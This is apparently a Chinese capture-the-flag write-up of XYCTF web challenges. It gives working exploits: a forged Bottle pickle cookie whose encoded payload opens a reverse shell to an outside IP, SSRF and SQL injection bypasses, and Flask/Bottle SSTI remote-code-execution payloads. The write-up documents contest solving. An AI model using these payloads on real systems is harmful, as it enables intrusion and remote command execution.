XYCTF-WEB

很好的题目,使我的大脑旋转

signin

bottle里面的session可以打一个pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import hmac
import hashlib
import pickle
import os
unicode = str
def tob(s, enc='utf8'):
if isinstance(s, unicode):
return s.encode(enc)
return b'' if s is None else bytes(s)

class exp():
def __reduce__(self):
return (os.system,('whoami',))

exp = exp()

payload=base64.b64encode(pickle.dumps(exp)).decode()

pickle_payload = "gASVUQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDZiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzE1Ni4yMzguMjMzLjU1LzIzMzMgMD4mMSKUhZRSlC4="

# secret 密钥
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

digestmod=hashlib.sha256
#计算签名(HMAC 签名)
hash = hmac.new(tob(secret), payload.encode(), digestmod=digestmod).digest()
base64_hash=base64.b64encode(hash).decode()
print(base64_hash)
# 3. 构造伪造的 cookie
forged_cookie = f"!{base64_hash}?{payload}"
# 输出伪造的 Cookie
print("伪造的 Cookie:", forged_cookie)

puzzle

改下js判断条件就行

img

fate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

套麻了。题目是给了docker的,可以发现flag在数据库里面

image-20250408193045205

那么最后的攻击点一定是sql,再看哪里能sql注入,路由/1337可以,但是需要本地才能访问1337,正好还给了个proxy路由可以ssrf,但是过滤了字母和.然后再以http://lamentxu.top为开头。

我们先看ssrf怎么绕,这个很基础了,加个@就可以只解析@后面的地址,然后.可以用数字ip:2130706433来替代127.0.0.1所以最后的结果就是:/proxy?url=@2130706433:8080/1337 并且这里直接起一个flask成功不了,解析不了数字ip,得用uWSGI才行。

然后需要满足if code == 'abcdefghi':,但是前面说过了,ssrf过滤了字母,那我们该怎么办呢?注意到这个判断是在1337路由里面,也就是说在1337路由会进行一次url解码,在proxy路由也会进行一个url解码。那我们可以进行二次编码绕过。具体过程如下

先进行url编码得到%61%62%63%64%65%66%67%68%69,然后再将%换成%25,也就是%的url编码,最后就是**%2561%2562%2563%2564%2565%2566%2567%2568%2569**。这样在proxy路由解码一次变成%61%62%63%64%65%66%67%68%69,在1337路由解码变成abcdefghi,满足条件。

再下面就是将1参数的值进行二进制转字符串(这一步纯粹是想套下面的考点才加的,要不然过不了waf

最后用一个json.loads解析二进制转换的字符串。不触发waf的会再被f-string,执行最后的sql语句

1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))

这里用json.loads加载然后直接f’{value}’拼接的话,会造成python格式化字符串漏洞。

比如

1
2
3
4
5
6
7
8
9
import json

data='''{"name":{"it is a test":1} }'''
req=json.loads(data)
name=req['name']

print(len(name))
print(name)
print(f'test: {name}')

并且现在req[name]是个dict类型的变量

image-20250409204804439

1
2
3
4
5
6
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")

这三个waf很轻松的就过了,第一个长度为1,后两个对dict变量使用in,是检查key值,也就是键名。所以都能通过。

再聚焦最后的sql语句,闭合前面的,注释后面的就可以注入了。

1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))

先补’再补7个),然后加上a’ union select FATE FROM FATETABLE WHERE NAME=’LAMENTXU’ –这样就可以执行sql了。

最后得到

{“name”:{“‘))))))) union select FATE FROM FATETABLE WHERE NAME=’LAMENTXU’ –”:1}}

汇总一下

1
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000111010101101110011010010110111101101110001000000111001101100101011011000110010101100011011101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101

ezsql

随便输入会报:Warning: mysqli_stmt::bind_param(): Number of variables doesn’t match number of parameters in prepared statement in /var/www/html/login.php on line 35

也就是预编译没写好。那我们两个参数都试一下。发现只有username有过滤,那注入点也是这里了。

fuzz一下waf,大概过滤了union,and,-,*,handler,regexp,&,|,like,逗号,空格

并且在username处传单引号会报不一样的错。

image-20250410194917897

所以说就是单引号闭合了。

参考狗哥的文章写一下这题SQL注入一命通关! – fushulingのblog

我们用%09替换空格,然后过滤了逗号,使用from to来代替

先构造一个永真式:’%09or%09’1’=’1’%23

发现没有说密码错误了,那我们可以使用布尔盲注来注入。

image-20250410195543693

这个payload可以成功

1
payload = f"1000'\tor\tascii(substr(databse()\tfrom\t1\tfor\t{i}))>{tmp}"

测试的时候还发现可以通过报错拿到库名,bushi

image-20250410202310504

1
payload = f"1000'\tor\tascii(substr(databse()\tfrom\t1\tfor\t{i}))>{tmp}"

但是用python打的时候发现总变成这样的(后来发现是注入成功时会登录成功然后302跳转,用状态码来判断应该就行了)

image-20250410204346945

就用yakit的fuzz打了一下,感觉还挺好用的

1
password=1&username=1000'%09or%09ascii(substr((select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='testdb')from%09{{int(1-30)}}%09for%091))%3d{{int(32-126)}}%23

image-20250410210605725

数据处理也很简单,先导出payload再按照数字大小排序就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json

data = [
{"Payloads": "1|72"},
{"Payloads": "10|44"},
{"Payloads": "19|44"},
{"Payloads": "20|83"},
{"Payloads": "11|80"},
{"Payloads": "43|44"},
{"Payloads": "44|83"},
......
]

parsed = [tuple(map(int, item["Payloads"].split('|'))) for item in data]
sorted_data = sorted(parsed, key=lambda x: x[0])

# 打印排序后的原始数据
for index, ascii_code in sorted_data:
print(f"{index}:{ascii_code}")

# 如果需要转换为字符串:
result = ''.join(chr(value) for _, value in sorted_data)
print(f"Resulting String: {result}")

100 111 117 98 108 101 95 99 104 101 99 107 空 117 115 101 114

用32代替没查到的13,解码一下得到

image-20250410210731592

接着看字段

1
password=1&username=1000'%09or%09ascii(substr((select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='user')from%09{{int(1-50)}}%09for%091))%3d{{int(32-126)}}%23

可以得到

secret -> double_check

Host,User,Password,……

最后查值

1
password=1&username=1000'%09or%09ascii(substr((select%09secret%09from%09testdb.double_check)from%09{{int(1-30)}}%09for%091))%3d{{int(32-126)}}%23

得到

secret:dtfrtkcc0czkoua9S

username:yudeyoushang (直接猜有username字段了。这个没什么用,直接万能密码登录就好了

password:zhonghengyisheng

使用账号密码登录会发现直接一个后台,输入密钥后可以执行命令

cat${IFS}/f*>>1

image-20250410213129671

now_you_see_me_1

只关注有关web的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

很明显是个ssti,但是过滤了好多东西,注意到request放出来了,但是下面的常用的参数都过滤掉了。翻翻flask的文档,可以使用可以使用mimetype获取Content-Type的值。

或者像出题人那样使用request.endpoint获取到当前路由的函数名,即r3al_ins1de_th0ught

从中,我们能获取字符’d’, ‘a’, ‘t’。这样构造处request.data,然后在body传值就可以ssti了。

del我们重载一下就好了

有个audit_checker,但是没什么作用

最后就是渲染这里:a = flask.render_template_string(‘’)。要先Follow-your-heart-%23}闭合一下就可以ssti了。

image-20250411102810207

那我们来构造rce的payload

传统的继承链过滤了_打不出来

先利用request.mimetype绕过_,

1
2
3
{% set x = config %}
{% set a = x.update(key=request.mimetype) %} //先利用这个写入cla,i,glo
{% print(x|attr(x.cla)|attr(x.i)|attr(x.glo))%} //这个可以获取globals

image-20250411110528986

成功加载到全局变量。

image-20250411110441709

然后再找可利用的rce类这里有一个点要注意不能改get,好像会和config.get冲突,改成gett就好了,这里弄了我好久

说一下一共加的环境变量

1
2
3
4
5
6
'cla': '__class__',
'i': '__init__',
'glo': '__globals__',
'gett': '__getitem__',
'bui': '__builtins__',
'eval': 'eval'

payload:

1
2
3
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09x=config%25}{%set%09a=x.update(tmp=request.mimetype)%}{%25print(x|attr(x.cla)|attr(x.i)|attr(x.glo)|attr(x.gett)(x.bui)|attr(x.gett)(x.eval)(x.tmp))%}  HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: __import__('os').popen('whoami').read()

image-20250411121008429

now_you_see_me_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:20:49
@Author : LamentXU
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
quote = flask.request.args.get('spell')
if quote:
try:
if quote.startswith("fly-"):
for i in lock_within:
if i in quote:
print(i)
return "wouldn't it be easier to give in?"
time.sleep(random.randint(10, 30)/10) # No time based injections.
flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
print("Registered endpoints and functions:")
for endpoint, func in app.view_functions.items():
if endpoint not in allowed_endpoint:
del func # No creating backdoor functions & endpoints.
return f'What are you doing with {endpoint} hacker?'

return 'Let the true magic begin!'
else:
return 'My inside world is always hidden.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

加了一些waf,并且把回显去了。

出题人的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# -*- encoding: utf-8 -*-
'''
@File : exploit.py
@Time : 2025/01/27 17:46:11
@Author : LamentXU
'''

# Please fly little dreams.

import re
payload = []
def generate_rce_command(cmd):
global payload
payloadstr = """{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('setattr')(g|attr('pop')|attr('__globals__')|attr('get')('sys')|attr('modules')|attr('get')('werkzeug')|attr('serving')|attr('WSGIRequestHandler'),'server_version',g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('"""+cmd+"""')|attr('read')()))%}"""

required_encoding = re.findall('\'([a-z0-9_ /\.]+)\'', payloadstr)
# print(required_encoding)
required_encoding.append('WSGIRequestHandler')
offset_a = 16
offset_0 = 6
offset_A = 42
encoded_payloads = {}

arg_count = 0
for i in required_encoding:
print(i)
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.68')
elif ord(j) >= ord('a') and ord(j) <= ord('z'):
a = str(ord(j)-ord('a')+offset_a)
p.append(f'k.{a}')
elif ord(j) >= ord('A') and ord(j) <= ord('Z'):
a = str(ord(j)-ord('A')+offset_A)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)
# print(encoded_payloads)
fully_encoded_payload = payloadstr
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
# print(fully_encoded_payload)
payload.append(fully_encoded_payload)
command = "whoami"
full_payload = '''{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('" + cmd + "')|attr('read')())%}'''
endpoint = "r3al_ins1de_thought"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!


payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"fly-%23}"+output)

出题人已疯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

还是bottle框架的ssti,但是相比VN的那题,去除了多行,放宽了字符数量限制,依旧是把字符写进变量里面。

我们先把字符数量限制去掉,测一测payload

1
if payload and  'open' not in payload and '\\' not in payload:

使用%__import__('os').system('whoami'),可以看到的确rce了。

image-20250408112057778

然后就是24的长度限制了,我们现在用了37个字符,然后利用bottle执行python代码的方法。

选择导入一个包,这个包要环境自带了,并且名字要短,最后选择os。

然后这样一个一个字符写入。本来尝试过直接往a里面写的,但是上下文不会保存。所以只能这样

1
2
%import os;os.a='%'
%import os;os.a+='_'

写个脚本操作一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'http://127.0.0.1:5000/attack'

payload = "__import__('os').system('whoami')"

p = list(payload) # 一位一位字符拆分

flag = True
for i in p:
if flag:
tmp = f'%import os;os.b="{i}"'
flag = False
else:
tmp = f'%import os;os.b+="{i}"'
r = requests.get(url, params={"payload": tmp})

最后这样执行命令。要读取flag的话可以写文件然后include读。或者弹shell,打内存马之类的。

1
2
%import os;print(os.b)
%import os;eval(os.b)

image-20250408121402215

出题人又疯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
blacklist = [
'o', '\\', '\r', '\n', 'os', 'import', 'eval', 'exec', 'system', ' ', ';'
]
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
print(payload)
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

禁用了更多。可以通过uncode字符解析的问题来读文件。{{open(/flag).read()}}

1
{{%BApen(%27/flag%27).re%aad()}}

%BA -> o

%ad -> a

可以举个例子来说明这个

1
{{%BApen(%27tmp3.py%27).re%aad()}}

image-20250408122918761

的确读到到了我本地的文件